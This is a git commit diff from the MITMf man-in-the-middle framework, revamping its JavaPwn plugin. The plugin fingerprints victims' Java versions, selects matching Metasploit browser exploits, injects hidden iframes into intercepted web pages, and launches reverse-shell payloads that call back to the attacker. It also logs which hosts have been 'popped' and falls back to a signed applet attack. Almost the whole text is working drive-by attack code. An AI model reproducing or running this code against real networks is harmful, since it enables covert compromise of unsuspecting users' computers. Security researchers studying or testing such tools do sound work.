- Revamped Javapwn plugin with new detection and exploitation algo

- Added whitelist/blacklist ip options to the inject plugin
- Revamped Beefautorun plugin, with new injection algo
- Metasploit and BeEF options are now a config file (mitmf.cfg)
This commit is contained in:
byt3bl33d3r 2014-12-21 17:33:56 +01:00
parent 4ae50e6e0c
commit f359ee7cdd
7 changed files with 211 additions and 121 deletions

View file

@ -5,44 +5,45 @@ import libs.msfrpc as msfrpc
import string
import random
import threading
import logging
import sys
try:
from configobj import ConfigObj
except:
sys.exit('[-] configobj library not installed!')
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr
from configobj import ConfigObj
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING)
class JavaPwn(BrowserProfiler, Plugin):
name = "JavaPwn"
optname = "javapwn"
desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"
has_opts = True
name = "JavaPwn"
optname = "javapwn"
desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"
has_opts = False
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.msfip = options.msfip
self.msfport = options.msfport
self.rpcip = options.rpcip
self.rpcpass = options.rpcpass
self.javapwncfg = options.javapwncfg
if not self.msfip:
sys.exit('[-] JavaPwn plugin requires --msfip')
self.javacfg = ConfigObj("./config/javapwn.cfg")
self.javaVersionDic = {}
for key, value in self.javacfg.iteritems():
self.javaVersionDic[float(key)] = value
self.options = options
self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit
msfcfg = ConfigObj('./config/mitmf.cfg')['Metasploit']
self.javacfg = ConfigObj('./config/javapwn.cfg')
self.msfport = msfcfg['msfport']
self.rpcip = msfcfg['rpcip']
self.rpcpass = msfcfg['rpcpass']
try:
self.msfip = get_if_addr(options.interface)
if self.msfip == "0.0.0.0":
sys.exit("[-] Interface %s does not have an IP address" % options.interface)
except Exception, e:
sys.exit("[-] Error retrieving interface IP address: %s" % e)
#Initialize the BrowserProfiler plugin
BrowserProfiler.initialize(self, options)
self.black_ips = []
try:
msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
msf.login('msf', self.rpcpass)
@ -51,9 +52,6 @@ class JavaPwn(BrowserProfiler, Plugin):
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
#Initialize the BrowserProfiler plugin
BrowserProfiler.initialize(self, options)
print "[*] JavaPwn plugin online"
t = threading.Thread(name='pwn', target=self.pwn, args=(msf,))
t.setDaemon(True)
@ -62,16 +60,45 @@ class JavaPwn(BrowserProfiler, Plugin):
def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5))
def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic
v = version.split(".")
return float(v[0] + "." + "".join(v[-(len(v)-1):]))
def get_exploit(self, java_version):
exploits = []
client_vstring = java_version[:-len(java_version.split('.')[3])-1]
client_uversion = int(java_version.split('.')[3])
for ver in self.javacfg['Multi'].items():
if type(ver[1]) is list:
for list_vers in ver[1]:
version_string = list_vers[:-len(list_vers.split('.')[3])-1]
update_version = int(list_vers.split('.')[3])
if ('*' in version_string[:1]) and (client_vstring == version_string[1:]):
if client_uversion == update_version:
exploits.append(ver[0])
elif (client_vstring == version_string):
if client_uversion <= update_version:
exploits.append(ver[0])
else:
version_string = ver[1][:-len(ver[1].split('.')[3])-1]
update_version = int(ver[1].split('.')[3])
if ('*' in version_string[:1]) and (client_vstring == version_string[1:]):
if client_uversion == update_version:
exploits.append(ver[0])
elif client_vstring == version_string:
if client_uversion <= update_version:
exploits.append(ver[0])
return exploits
def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
#inject iframe
logging.info("%s >> now injecting iframe to trigger exploit" % client_ip)
self.html_payload = "<iframe src='http://%s:%s%s' height=0%% width=0%%></iframe>" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
logging.info('%s >> waiting for ze shells, Please wait...' % client_ip)
logging.info('%s >> waiting for ze shellz, Please wait...' % client_ip)
exit = False
i = 1
@ -83,13 +110,14 @@ class JavaPwn(BrowserProfiler, Plugin):
for k, v in shell.items():
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
logging.info("%s >> Got shell!" % client_ip)
self.sploited_ips.append(client_ip) #target successfuly exploited
self.sploited_ips.append(client_ip) #target successfuly exploited :)
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
exit = True
break
sleep(2)
i += 1
if exit is False: #We didn't get a shell
if exit is False: #We didn't get a shell :(
logging.info("%s >> session not established after 30 seconds" % client_ip)
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
@ -118,18 +146,20 @@ class JavaPwn(BrowserProfiler, Plugin):
vic_ip = brwprofile['ip']
client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float
logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version']))
logging.info("%s >> Choosing exploit based on version string" % vic_ip)
min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version
exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg
if client_version < min_version: #since the two version strings are now floats we can use the < operand
if exploits:
exploit = self.javaVersionDic[min_version] #get the exploit string for that version
logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploit))
if len(exploits) > 1:
logging.info("%s >> client is vulnerable to %s exploits!" % (vic_ip, len(exploits)))
exploit = random.choice(exploits)
logging.info("%s >> choosing %s" %(vic_ip, exploit))
else:
logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploits[0]))
exploit = exploits[0]
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
jobs = msf.call('job.list') #get running jobs
@ -137,7 +167,7 @@ class JavaPwn(BrowserProfiler, Plugin):
for k, v in jobs.items():
info = msf.call('job.info', [k])
if exploit in info['name']:
logging.info('%s >> %s exploit already started' % (vic_ip, exploit))
logging.info('%s >> %s already started' % (vic_ip, exploit))
url = info['uripath'] #get the url assigned to the exploit
self.injectWait(msf, url, vic_ip)
@ -146,10 +176,10 @@ class JavaPwn(BrowserProfiler, Plugin):
rand_url = self.rand_url()
#generate the command string to send to the virtual console
#new line character very important as it simulates a user pressing enter
cmd = "use exploit/multi/browser/%s\n" % exploit
cmd = "use exploit/%s\n" % exploit
cmd += "set SRVPORT %s\n" % self.msfport
cmd += "set URIPATH %s\n" % rand_url
cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!)
cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform
cmd += "set LHOST %s\n" % self.msfip
cmd += "set LPORT %s\n" % rand_port
cmd += "exploit -j\n"
@ -160,6 +190,7 @@ class JavaPwn(BrowserProfiler, Plugin):
self.injectWait(msf, rand_url, vic_ip)
else:
#this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert)
logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip)
logging.info("%s >> falling back to the signed applet attack" % vic_ip)
@ -177,12 +208,6 @@ class JavaPwn(BrowserProfiler, Plugin):
self.injectWait(msf, rand_url, vic_ip)
sleep(1)
def add_options(self, options):
options.add_argument('--msfip', dest='msfip', help='IP Address of MSF')
options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]')
options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]')
options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]')
def finish(self):
'''This will be called when shutting down'''
msf = msfrpc.Msfrpc({"host": self.rpcip})
@ -190,7 +215,7 @@ class JavaPwn(BrowserProfiler, Plugin):
jobs = msf.call('job.list')
if len(jobs) > 0:
print '[*] Stopping all running metasploit jobs'
print '\n[*] Stopping all running metasploit jobs'
for k, v in jobs.items():
msf.call('job.stop', [k])